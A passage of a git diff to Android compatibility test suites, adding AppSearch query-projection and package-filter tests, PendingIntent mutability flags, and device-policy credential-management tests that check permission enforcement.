+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+
+ // TODO(b/175039682) Add test cases for wildcard projection once go/oag/1534646 is submitted.
+ @Test
+ public void testQuery_projectionEmpty() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index two documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email1, email2)
+ .build()));
+
+ // Query with type property paths {"Email", []}
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+ // The two email documents should have been returned without any properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+
+ @Test
+ public void testQuery_projectionNonExistentType() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index two documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email1, email2)
+ .build()));
+
+ // Query with type property paths {"NonExistentType", []}, {"Email", ["subject", "to"]}
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection("NonExistentType", Collections.emptyList())
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+ // The two email documents should have been returned with only the "subject" and "to"
+ // properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+
+ @Test
public void testQuery_twoInstances() throws Exception {
// Schema registration
mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
@@ -886,6 +1107,55 @@
}
@Test
+ public void testRemoveByQuery_packageFilter() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("foo")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+ // Try to delete email with query "foo", but restricted to a different package name.
+ // Won't work and email will still exist.
+ mDb1.removeByQuery(
+ "foo",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addFilterPackageNames("some.other.package")
+ .build())
+ .get();
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+ // Delete the email by query "foo", restricted to the correct package this time.
+ mDb1.removeByQuery(
+ "foo",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addFilterPackageNames(
+ ApplicationProvider.getApplicationContext()
+ .getPackageName())
+ .build())
+ .get();
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1", "uri2").build()).get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ }
+
+ @Test
public void testRemove_twoInstances() throws Exception {
// Schema registration
mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
index ec4112e..dd356a0 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
@@ -392,4 +392,256 @@
afterBodyNamespace1Documents,
ImmutableList.of(document1));
}
+
+ @Test
+ public void testGlobalQuery_packageFilter() throws Exception {
+ // Snapshot what documents may already exist on the device.
+ SearchSpec otherPackageSearchSpec =
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addFilterPackageNames("some.other.package")
+ .build();
+ List<GenericDocument> beforeOtherPackageDocuments =
+ snapshotResults("body", otherPackageSearchSpec);
+
+ SearchSpec testPackageSearchSpec =
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addFilterPackageNames(
+ ApplicationProvider.getApplicationContext().getPackageName())
+ .build();
+ List<GenericDocument> beforeTestPackageDocuments =
+ snapshotResults("body", testPackageSearchSpec);
+
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index two documents
+ AppSearchEmail document1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(document1).build()));
+
+ AppSearchEmail document2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(document2).build()));
+
+ // Query in some other package
+ List<GenericDocument> afterOtherPackageDocuments =
+ snapshotResults("body", otherPackageSearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeOtherPackageDocuments, afterOtherPackageDocuments, Collections.emptyList());
+
+ // Query within our package
+ List<GenericDocument> afterTestPackageDocuments =
+ snapshotResults("body", testPackageSearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeTestPackageDocuments,
+ afterTestPackageDocuments,
+ ImmutableList.of(document1, document2));
+ }
+
+ // TODO(b/175039682) Add test cases for wildcard projection once go/oag/1534646 is submitted.
+ @Test
+ public void testGlobalQuery_projectionTwoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index one document in each database.
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+ // Query with type property paths {"Email", ["subject", "to"]}
+ List<GenericDocument> documents =
+ snapshotResults(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+ .build());
+
+ // The two email documents should have been returned with only the "subject" and "to"
+ // properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+
+ @Test
+ public void testGlobalQuery_projectionEmptyTwoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index one document in each database.
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+ // Query with type property paths {"Email", []}
+ List<GenericDocument> documents =
+ snapshotResults(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+ .build());
+
+ // The two email documents should have been returned without any properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+
+ @Test
+ public void testGlobalQuery_projectionNonExistentTypeTwoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index one document in each database.
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+ // Query with type property paths {"NonExistentType", []}, {"Email", ["subject", "to"]}
+ List<GenericDocument> documents =
+ snapshotResults(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection("NonExistentType", Collections.emptyList())
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+ .build());
+
+ // The two email documents should have been returned with only the "subject" and "to"
+ // properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
index 50bca278..e00064f 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/SearchSpecCtsTest.java
@@ -41,6 +41,7 @@
.setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
.addNamespace("namespace1", "namespace2")
.addSchemaType("schemaTypes1", "schemaTypes2")
+ .addFilterPackageNames("package1", "package2")
.setSnippetCount(5)
.setSnippetCountPerProperty(10)
.setMaxSnippetSize(15)
@@ -56,6 +57,7 @@
assertThat(searchSpec.getSchemaTypes())
.containsExactly("schemaTypes1", "schemaTypes2")
.inOrder();
+ assertThat(searchSpec.getPackageNames()).containsExactly("package1", "package2").inOrder();
assertThat(searchSpec.getSnippetCount()).isEqualTo(5);
assertThat(searchSpec.getSnippetCountPerProperty()).isEqualTo(10);
assertThat(searchSpec.getMaxSnippetSize()).isEqualTo(15);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
index 45354e0..3f08397 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenDifferentActivitiesTest.java
@@ -144,5 +144,8 @@
assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "ID");
final ComponentName component2 = structure2.getActivityComponent();
assertThat(component2).isEqualTo(activity2.getComponentName());
+ activity2.syncRunOnUiThread(() -> {
+ activity2.mInput.setFocusable(false);
+ });
}
}
diff --git a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
index 911ccc2..f0f22ae 100644
--- a/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlBuilderTest.java
@@ -60,9 +60,9 @@
public void setUp() {
mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
mPendingIntent2 = PendingIntent.getActivity(mContext, 2, new Intent(),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
}
diff --git a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
index 94982a7cb..5a18c9c 100644
--- a/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
+++ b/tests/controls/src/android/controls/cts/CtsControlTemplateTest.java
@@ -60,7 +60,7 @@
Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
mIcon = Icon.createWithResource(PACKAGE_NAME, TEST_ICON_ID);
mControlButton = new ControlButton(true, TEST_ACTION_DESCRIPTION);
- mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), 0);
+ mPendingIntent = PendingIntent.getActivity(context, 1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
}
@Test
diff --git a/tests/controls/src/android/controls/cts/CtsControlsService.java b/tests/controls/src/android/controls/cts/CtsControlsService.java
index 5310e42..301c34e 100644
--- a/tests/controls/src/android/controls/cts/CtsControlsService.java
+++ b/tests/controls/src/android/controls/cts/CtsControlsService.java
@@ -66,7 +66,7 @@
public CtsControlsService() {
mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
mPendingIntent = PendingIntent.getActivity(mContext, 1, new Intent(),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
mIcon = Icon.createWithResource(mContext, R.drawable.ic_device_unknown);
mColorStateList = mContext.getResources().getColorStateList(R.color.custom_mower, null);
diff --git a/tests/devicepolicy/Android.bp b/tests/devicepolicy/Android.bp
index a904d01..0dd4587 100644
--- a/tests/devicepolicy/Android.bp
+++ b/tests/devicepolicy/Android.bp
@@ -23,6 +23,7 @@
"testng", // used for assertThrows
// TODO: Remove this once we remove ui automator usage
"androidx.test.uiautomator_uiautomator",
+ "EventLib",
],
srcs: ["src/**/*.java"],
test_suites: [
@@ -30,8 +31,5 @@
"vts10",
"general-tests",
],
- test_options: {
- extra_test_configs: ["DevicePolicyWorkProfileTest.xml", "DevicePolicySecondaryUserTest.xml"]
- },
sdk_version: "test_current",
}
diff --git a/tests/devicepolicy/AndroidManifest.xml b/tests/devicepolicy/AndroidManifest.xml
index ceceb7a..dff1cd1 100644
--- a/tests/devicepolicy/AndroidManifest.xml
+++ b/tests/devicepolicy/AndroidManifest.xml
@@ -46,6 +46,10 @@
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
+
+ <activity android:name=".AppUriAuthenticationActivity"
+ android:exported="true">
+ </activity>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.devicepolicy.cts"
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationActivity.java
new file mode 100644
index 0000000..2ab7d23
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationActivity.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.net.Uri;
+import android.os.Bundle;
+import android.security.KeyChain;
+import android.security.KeyChainAliasCallback;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import com.android.eventlib.events.CustomEvent;
+
+/**
+ * Activity that will call {@link KeyChain.choosePrivateKeyAlias} to verify the credential
+ * management app is able to specify which alias should be used given an app package name and URI.
+ * <p>
+ * This test Activity is required to call the API {@link KeyChain.choosePrivateKeyAlias}.
+ */
+public class AppUriAuthenticationActivity extends Activity {
+
+ private static final String TAG = "AppUriAuthenticationActivity";
+
+ private static final long KEYCHAIN_TIMEOUT_MINS = 2;
+ private static final String ALIAS = "com.android.test.rsa";
+ private final static Uri URI = Uri.parse("https://test.com");
+
+ @Override
+ public void onCreate(Bundle bundle) {
+ super.onCreate(bundle);
+
+ String aliasProvidedByCredentialManager = null;
+ try {
+ aliasProvidedByCredentialManager = new KeyChainAliasFuture(/* activity */ this).get();
+ } catch (InterruptedException e) {
+ Log.e(TAG, "Unable to get the alias provided by the credential management app");
+ }
+ CustomEvent.logger(this)
+ .setTag("credentialManagementAppAliasFetched")
+ .setData(aliasProvidedByCredentialManager)
+ .log();
+ }
+
+ private static class KeyChainAliasFuture implements KeyChainAliasCallback {
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private String mChosenAlias = null;
+
+ @Override
+ public void alias(final String chosenAlias) {
+ mChosenAlias = chosenAlias;
+ mLatch.countDown();
+ }
+
+ public KeyChainAliasFuture(Activity activity) {
+ KeyChain.choosePrivateKeyAlias(activity, this, /* keyTypes */null,
+ /* issuers */null, URI, /* alias = */null);
+ }
+
+ public String get() throws InterruptedException {
+ assertWithMessage("Chooser timeout")
+ .that(mLatch.await(KEYCHAIN_TIMEOUT_MINS, TimeUnit.MINUTES))
+ .isTrue();
+ return mChosenAlias;
+ }
+ }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
new file mode 100644
index 0000000..ce3cc3f
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -0,0 +1,349 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.INSTALLKEY_SET_USER_SELECTABLE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Process;
+import android.platform.test.annotations.Postsubmit;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.AttestedKeyPair;
+import android.security.KeyChain;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.FakeKeys;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.KeyPair;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CredentialManagementAppTest {
+
+ private static final String TAG = "KeyPairManagementTest";
+
+ private static final PrivateKey PRIVATE_KEY =
+ getPrivateKey(FakeKeys.FAKE_RSA_1.privateKey, "RSA");
+ private static final Certificate CERTIFICATE =
+ getCertificate(FakeKeys.FAKE_RSA_1.caCertificate);
+ private static final Certificate[] CERTIFICATES = new Certificate[]{CERTIFICATE};
+ private static final long KEYCHAIN_WAIT_TIME_MS = TimeUnit.MINUTES.toMillis(1);
+
+ private static final Context CONTEXT = ApplicationProvider.getApplicationContext();
+ private static final String MANAGE_CREDENTIALS = "android:manage_credentials";
+
+ private static final String ALIAS = "com.android.test.rsa";
+ private static final String NOT_IN_USER_POLICY_ALIAS = "anotherAlias";
+ private final static String PACKAGE_NAME = CONTEXT.getPackageName();
+ private final static Uri URI = Uri.parse("https://test.com");
+ private final static AppUriAuthenticationPolicy AUTHENTICATION_POLICY =
+ new AppUriAuthenticationPolicy.Builder()
+ .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+ .build();
+
+ private final static String MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION =
+ "android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP";
+
+ private final DevicePolicyManager mDpm = CONTEXT.getSystemService(DevicePolicyManager.class);
+ private final int mUserId = Process.myUserHandle().getIdentifier();
+
+ @Postsubmit
+ @Test
+ public void installKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+ assertThrows(SecurityException.class,
+ () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+ ALIAS, /* flags = */ 0));
+ }
+
+ @Postsubmit
+ @Test
+ public void removeKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+ assertThrows(SecurityException.class,
+ () -> mDpm.removeKeyPair(/* admin = */ null, ALIAS));
+ }
+
+ @Postsubmit
+ @Test
+ public void generateKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+ assertThrows(SecurityException.class,
+ () -> mDpm.generateKeyPair(/* admin = */ null, "RSA",
+ buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+ /* idAttestationFlags = */ 0));
+ }
+
+ @Postsubmit
+ @Test
+ public void setKeyPairCertificate_withoutManageCredentialAppOp_throwsException()
+ throws Exception {
+ setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+ assertThrows(SecurityException.class,
+ () -> mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS,
+ Arrays.asList(CERTIFICATE), /* isUserSelectable = */ false));
+ }
+
+ @Postsubmit
+ @Test
+ public void installKeyPair_isUserSelectableFlagSet_throwsException() throws Exception {
+ setCredentialManagementApp();
+ assertThrows(SecurityException.class,
+ () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+ ALIAS, /* flags = */ INSTALLKEY_SET_USER_SELECTABLE));
+ }
+
+ @Postsubmit
+ @Test
+ public void installKeyPair_aliasIsNotInAuthenticationPolicy_throwsException() throws Exception {
+ setCredentialManagementApp();
+ assertThrows(SecurityException.class,
+ () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+ NOT_IN_USER_POLICY_ALIAS, /* flags = */ 0));
+ }
+
+ @Postsubmit
+ @Test
+ public void installKeyPair_isCredentialManagementApp_success() throws Exception {
+ setCredentialManagementApp();
+ try {
+ // Install keypair as credential management app
+ assertThat(mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+ ALIAS, 0)).isTrue();
+ } finally {
+ // Remove keypair as credential management app
+ mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+ removeCredentialManagementApp();
+ }
+ }
+
+ @Postsubmit
+ @Test
+ public void removeKeyPair_isCredentialManagementApp_success() throws Exception {
+ setCredentialManagementApp();
+ try {
